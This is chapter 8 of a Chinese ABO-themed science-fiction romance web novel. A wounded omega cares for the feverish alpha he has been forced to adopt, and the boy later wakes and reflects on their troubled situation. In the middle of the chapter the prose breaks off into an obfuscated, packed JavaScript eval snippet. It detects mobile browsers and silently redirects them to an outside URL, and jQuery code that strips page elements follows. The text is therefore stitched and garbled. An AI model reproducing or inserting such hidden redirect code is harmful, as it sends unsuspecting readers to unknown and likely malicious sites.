008
“没什么大问题,就是着凉发热了。”
赵时笙收起仪器。
沈初呆。
alpha的身体素质强悍,也会着凉?
“alpha也分人。”
赵时笙将林墨的检查结果递给沈初,“长期营养不良,发育迟缓,身体素质差;这段时间过分地担惊受怕,精神紧绷,以至于忽略身体的异样;加上这几天降温……”
他指窗户。
沈初这才发现家里的温度很低。
三天前让林墨进门时,因为家里的气味很难闻,他开过窗。
后来急匆匆离开,没记得关。
家里的窗是半智控的,需要通过控制面板操作。
他忘记给林墨入录操作权限了。
这几天正好有寒潮,一下子降了二十多度度,每晚的气温都在零下10°以下。
林墨睡在只铺了一张窗帘的地板上,不着凉才怪。
“是我疏忽了。”
沈初愧疚。
赵时笙递过来退烧药:“按时吃药,他毕竟是个alpha,马上就能痊愈。但是……”
他示意林墨睡觉的地方,“不能再睡这里,被褥也要换,太薄了。”
沈初应了声。
认真地在家里寻林墨睡觉地方。
他家两层楼,楼上楼下面积一样。
楼下分割成卧室、书房、卫生间三块区域;楼上换成了厨房、客餐厅,餐桌和两把单人沙发一摆,就占得满满当当了。
唯一能睡的也就是门后工具间前的位置,以及餐客厅之间狭窄的过道。
前者依旧被赵时笙否决,后者躺着不舒服,翻身都难,也不方便。
沈初只好把目光投向楼下书房。
书房朝南临窗的位置空着,铺两床被子凑合几晚没问题。
但是……要跟一个alpha睡在同一层。
他还是有一种自己的领地被侵犯的不爽感。
很抗拒。
沈初犹豫。
发烧中的林墨又小声呜咽了句,委委屈屈地求着。
沈初想起了片刻前林墨说的那些话。
孩童般的语气,可怜地,卑微地,哭泣着哀求。
这是清醒时候的林墨绝对不会说出口的记忆。
那么高傲的一个人!
沈初放弃了犹豫。
反正只有三个月,就让林墨睡书房吧。
大不了把卧室门锁好,不让林墨进就是了。
至于信息素……
沈初小心翼翼地确认了一番。
并没有信息素味,方才瞬间应该是他闻错了。
也对,都已经是beta了,也快闻不见alpha的信息素味了。
“睡楼下书房吧,我去铺床。”
沈初说着跑下了楼。
赵时笙紧绷一天的嘴角终于微微上扬。
沈初的病案中并没有写明他拒绝治疗的原因,但从长达几百页的医治记录中可以看出,后期沈初越来越抗拒接触alpha的信息素。
应该是产生了应激反应。
赵时笙询问过自己的导师。
那位学界泰斗也曾参与过医治沈初,很遗憾沈初最终没有坚持下去。
“临床研究得出结论,有0.01%几率,只要适配的alpha,他的腺体能再次使用。”
万分之一的几率,并不是没有希望。
只要沈初愿意坚持。
赵时笙低头看了眼昏睡中的林墨。
也许这是一个不错的开始。
“铺好了,帮我一起把林墨抬下去吧。”
沈初折返。
赵时笙抬了抬无框眼镜:“不用,我背他下去。”
医生修长的身体轻松背起了190+的alpha。
沈初小小羡慕了把。
其实赵时笙也是omega,因为性格高冷,毒舌,信息素又是主调冷杉,很多人误以为他是个alpha。
赵时笙也乐得装alpha,时常锻炼。
背一个瘦弱的林墨很轻松。
沈初以前也可以。
身为全联盟唯一的omega教官,又担任特别行动小队的队长。
他训过无数alpha,无一例外都揍得他们嗷嗷叫。
可惜现在不行了。
沈初抬起自己的手臂,连握个拳,手都在发抖。
“沈初。”
赵时笙在楼下喊他,“药、退烧贴都放在书桌上,记得多量体温,注意保暖。”
沈初应了声。
赵时笙也叮嘱他:“你也注意休息,明天就不用上班了,我批假。”
沈初点点头,赵时笙告别离开。
屋子里忽然安静了下来。
空气中弥漫着另一人的呼吸。
他还是不适应,跑进卧室,拉上了书房与卧室间的移门,锁好。
埋进床里,用被子捂住耳朵,试图让自己尽快入睡。
然而身体疲惫到了极点,大脑却清醒无比。
根本睡不着。
沈初又开始烦躁,辗转反侧着。
拿起光脑通讯仪看几眼,头疼,眼睛干涩,又放下假寐。
迷迷糊糊间,听到了门外林墨的声音:“水……渴!”
尾音收得很快,戛然而止。
像是鼓起勇气哀求,生怕被拒绝,怯生生地解释了句,又不敢多说。
沈初一下就听到了。
想起退烧药的作用下,人体会盗汗,脱水,需要补充水分。
可汗液会带上对方的气味,沈初有些犹豫。
然而下一刻。
林墨痛呼了声,轻微地,但明显压抑着。
发烧的人四肢冰冷,关节疼,容易痉挛。
沈初推门出去。
林墨蜷缩着,双手抱着膝盖,头埋在枕头里。
汗水浸湿了他的头发,一摸,还是滚烫得厉害。
林墨的病情反复了。
之前贴上去的退烧贴已经干涸,沈初拿来新的更换。
因为先前发过一身汗,汗水浸湿了刘海,搭在林墨的额头上,不太好处理。
沈初跑到楼上,去寻林墨的毛巾。
准备擦干净再贴。
林墨的洗漱用具整齐放着,只占了客卫水台的小小一角。
也不多,只有牙刷牙膏和毛巾。
牙刷使用很久了,毛都弯了;毛巾也是,摸着就很薄,还有破洞。
沈初知道林墨过去的生活不好过,没想到过得这么拮据。
这种牙刷和毛巾,别的星球早就不使用,哪怕是在用的,也早就更换了。
他折返楼下,翻出了去年矿区发的劳保用品。
反正他也不用,给林墨正好。
温热的毛巾捂在额头上,贴住的刘海终于化开。
沈初拂开了额发,alpha光洁饱满的额头亮了出来,这是唯一一个不会因为瘦而变形的脸部部位。
很完美。
仿佛是女娲精雕细琢的一件珍品。
沈初头一回仔细打量林墨。
比大部分alpha都要出色的面部骨架,剑眉,挺鼻,双目紧闭,睫毛长短恰到好处。
唇薄了些,也没有血色。
脸颊也是,瘦得厉害。
沈初折返去洗了一趟毛巾,索性将林墨的整张脸都擦了一遍。
擦到耳廓时,可能是因为痒。
林墨小幅度地挪开了头。
离了温暖,很快就感觉到不舒服,又乖乖地把头送了回来,隔着毛巾蹭着沈初的手。
沈初顿了顿。
想起了读书时,隔壁警院养的那群大狗。
星际时代已经摒弃了传统的警犬,用电子狗代替。
但警种保留了下来。
警院很传统,学会操作电子狗的同时,依旧要求学生学会训练传统的犬种,并作为一门必修课。
沈初很招大狗们喜欢。
只是偶尔经过围墙,狗狗们就能察觉到,齐刷刷地趴过来,祈求他的抚摸。
沈初很无奈。
警犬的基本功就是拒绝诱惑,但这群毛孩子根本无法拒绝他。
“再这么下去,你们的主人要挂科了。”
沈初收手,一抬眸,毛孩子的主人,一群alpha一样齐刷刷地蹲着。
沈初:“……”
低头看林墨。
他出神的片刻,林墨的脑袋愈发贴近他,连身体都挨了过来。
沈初有些抗拒,退开了些。
林墨立刻察觉到了。
缩了缩脖子,沮丧地低了头。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491303|170154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
就好像那群大狗中的唐犬,人类地球时期华夏文明孕育的犬种。
温顺,聪明,因为不够高贵,时常被排挤。
其实它每回都是第一个完成作业的小家伙。
可怜巴巴地缩在一旁,耷拉着脑袋。
沈初又伸出了手。
贴着林墨的脸颊,揉了揉他的头发。
林墨耷拉下来的脑袋立刻又贴了过来。
紧抿的薄唇微微上扬。
·
天快亮的时候,林墨苏醒了过来。
身下温暖的被窝让他很是错愕。
环顾四周,他认出了这是沈初家楼下的书房。
三天前刚打扫过。
当时凌乱得很,满地的星梦璀璨,早已枯萎。
横七竖八的酒瓶子,戳满烟蒂的烟灰缸。
每一样都述说着主人分手后的煎熬。
当时的他原本对沈初当日的作为很不爽。
好不容易让顾一然寻来的工作出了岔子,被沈初赶出了矿区。
其实以前代工的时候也看到过其他人被沈初发现的情况,那时的沈初基本都是睁一只眼闭一只眼,体贴别人的生活不易。
但今天遇到他,却格外的强硬。
凭什么别人可以,他不可以。
老何稍微解释过一下,说是克里斯这个人人品不好,替他代工不值当,万一再出个事故,赔偿都落不到他头上。
但他没听进去。
连离开矿星去考试的路费都要没了,还在乎克里斯的人品吗?
他只想要钱,如果真的出事故死了也好,一了百了。
所以后来在矿渣区听到林墨愿意收养他的时候,他没答应。
说不愿意收养他的是沈初,说不让他代工不让他赚钱的也是沈初,说听了张老师的劝说愿意养他的也是沈初。
问过我的感受吗?
自小没了父母是我的错吗?被林家那种家庭收养是我的选择吗?
被抛弃、被拒绝、被赶出矿区,又忽然要被收养。
我不接受!
但当看到眼前这一幕的时候。
林墨突然发现他只在意了自己被赶出门的痛苦,却不曾意识到沈初比他更痛苦。
被已然登记完成,满心欢喜要迎娶回家的女友突然抛弃。
还被女友塞过来一个素不相识的养子,要求他收养,不容拒绝,拒绝就会受到法律的惩处。
换作谁都不会接受。
沈初对林怡那么好,那个被丢进垃圾桶的备忘录,林墨捡起来看过,上面写满了沈初对林怡的爱。
细致、体贴,用心;雀跃着书写者的开心,欢喜,与浓浓的爱意。
林墨从未体会过这样的感情。
从小陪伴他的只有家人的冷言恶语、姐妹兄弟的欺凌霸辱,他的感情世界是灰暗的、冰冷的、孤独的。
回想起林怡最终决定离开矿星的那一晚,她将所有沈初给她买的,曾经视若珍宝的礼物统统砸碎、撕烂,丢弃。
露出胜利者的微笑,讽刺:“我再也不需要你用这种东西取悦我了。”
这样的林怡配不上沈初的付出。
林墨心想,手触碰到额头的退烧贴。
他认得。
以前在诊所打零工的时候见过,治疗发烧用的。
贴在他头上是因为他发烧了吗?
林墨记不太清。
从小打到他鲜少生病,确切地说是哪怕生病也没有人在意他,照顾他。
他只能默默地自己熬过去。
这几日睡在沈初家,夜里总是感觉到寒冷。
他检查过,是窗户没关的缘故。
但沈初家的窗户和普通矿工家的不一样,是半智能控制,他没有控制权限。
沈初离家匆忙,没有给他设置。
不仅关不了窗,也不能离家,一旦离开了就再也回不了屋。
他只能待在家里。
饿了吃营养剂,余下的时间写试卷。
写着写着就头痛得厉害,想着休息一会。
睡着醒来时,就躺在了楼下。
是沈初回家,发现他发烧了,给他挪了地方?
还垫了被褥,盖了被子?
林墨的错愕化为感动,头往被子里埋了埋。
很好闻,沈初家的味道。